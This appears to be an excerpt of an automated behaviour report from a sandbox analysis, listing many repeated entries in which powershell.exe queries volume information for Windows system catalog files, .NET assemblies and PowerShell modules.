      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
